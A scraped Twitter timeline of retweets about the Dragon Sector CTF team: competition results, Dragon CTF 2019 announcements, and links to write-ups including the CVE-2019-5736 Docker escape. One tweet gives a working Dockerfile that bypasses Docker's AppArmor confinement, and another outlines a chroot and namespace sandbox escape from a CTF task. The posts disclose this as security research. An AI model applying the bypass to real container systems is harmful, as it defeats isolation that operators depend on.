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Adam Iwaniuk Retweeted
2019 was a great year for Dragon Sector!
1st place at http://CTFTime.org global ranking for the 2nd year in a row & 3rd time in the history of our team
1st place at 2 CTFs
2nd place at 5 CTFs
3rd place at 5 CTFs
And also organized a well received Dragon CTF 2019!pic.twitter.com/YdRrLp2mO2
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Adam Iwaniuk Retweeted
We've released our solution slides for the Dragon CTF 2019: https://docs.google.com/presentation/d/12TzHVUc36eOZIZxLtr13YEmHxQS5lBXrWX5jbwMZjC8/edit … See also: https://blog.dragonsector.pl/2019/11/dragon-ctf-2019-results-and-tasks.html …
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Adam Iwaniuk Retweeted
Congratz to DragonCTF 2019 winners! TOP1: p4 (
@p4_team) TOP2: PPP (@PlaidCTF) TOP3: ALLES! (@allesctf) GG, WP! https://ctftime.org/event/887 pic.twitter.com/BAE8Tz1ggg
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Adam Iwaniuk Retweeted
Our writeup/bug report for the AppArmor bypass: https://github.com/opencontainers/runc/issues/2128 …
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Adam Iwaniuk Retweeted
Trusted Loading 2 solution (from DragonCTF 2019 Teaser): - get a not chrooted process from stage1 (in trusted loader's ns) - symlink chroot dir to / - spawn new process in the sandbox (now not chrooted) - unshare user,pid,mount ns - mount proc, get fd for /proc/self/ns/user (1/2)
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Adam Iwaniuk Retweeted
Here's a little something that I made for (now-finished) Dragon CTF 2019 Teaser by
@DragonSectorCTF : https://github.com/koriakin/cpuadventure/ … (blackbox CPU reverse engineering) — have fun!Show this threadThanks. Twitter will use this to make your timeline better. UndoUndo -
It was intended solution to one of the challenges in DragonCTF organized by
@DragonSectorCTF this weekend. It was solved by one team,@allesctf congratulations!Show this threadThanks. Twitter will use this to make your timeline better. UndoUndo -
Docker apparmor bypass: FROM ubuntu:18.04 # get rid of procfs VOLUME /proc # fake files to avoid fail on run COPY empty /proc/self/attr/exec COPY empty /proc/self/fd/4 COPY empty /proc/self/fd/5 COPY empty /proc/self/status # cmd will not have apparmor restrictions CMD YOUR_CMD
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Adam Iwaniuk Retweeted
Teaser Dragon CTF 2019 is taking place this weekend! Sat, 21 Sept. 2019, 12:00 UTC — Sun, 22 Sept. 2019, 12:00 UTC https://ctf.dragonsector.pl https://ctftime.org/event/851 Format: online, jeopardy, team-based (no size limit), teaser, ranked 𝑯𝒂𝒗𝒆 𝑭𝒖𝒏 𝑮𝒐𝒐𝒅 𝑳𝒖𝒄𝒌! (1/4)pic.twitter.com/wyDyoK8pES
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Adam Iwaniuk Retweeted
CCC CTF is the new Pwn2Ownhttps://twitter.com/_niklasb/status/1111624505615675392 …
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Adam Iwaniuk Retweeted
Check out our blog post about research
@adam_iwaniuk and I did that lead to CVE-2019-5736! https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html …Thanks. Twitter will use this to make your timeline better. UndoUndo -
Adam Iwaniuk Retweeted
If you enjoyed that recent runc bug you should try out my namespace challenge from the
#35c3ctf: https://35c3ctf.ccc.ac/uploads/namespaces-a4b1ac039830f7c430660bc155dd2099.tar …Thanks. Twitter will use this to make your timeline better. UndoUndo
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